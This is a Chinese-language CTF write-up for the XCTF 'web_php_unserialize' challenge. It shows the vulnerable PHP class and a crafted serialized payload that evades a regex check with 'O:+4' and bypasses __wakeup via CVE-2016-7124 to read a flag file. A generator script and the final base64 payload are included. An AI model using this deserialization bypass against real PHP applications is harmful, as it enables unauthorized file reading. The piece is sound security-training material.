XCTF-web_php_unserialize

web_php_unserialize

这道题涉及的知识点是php反序列化

贴个php序列化和反序列化的介绍，贴个魔术方法的介绍

看题：

进来给了源码

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

下面构造参数var：

初始序列化字符串O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

• 替换掉o/c:数字

  • 这里用+4替换掉4即可
  • O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

• 绕过__wakeup函数

  • 这里用2替换1，利用了CVE-2016-7124漏洞，当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
  • O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

• 使用base64编码

  • TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=

php脚本

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a = new Demo('fl4g.php');
$b = serialize($a);
echo $b;
echo '<br>';
$c = str_replace('O:4', 'O:+4', $b);
$c= str_replace(':1:', ':2:', $c);
echo $c;
echo '<br>';
echo base64_encode($c);

?>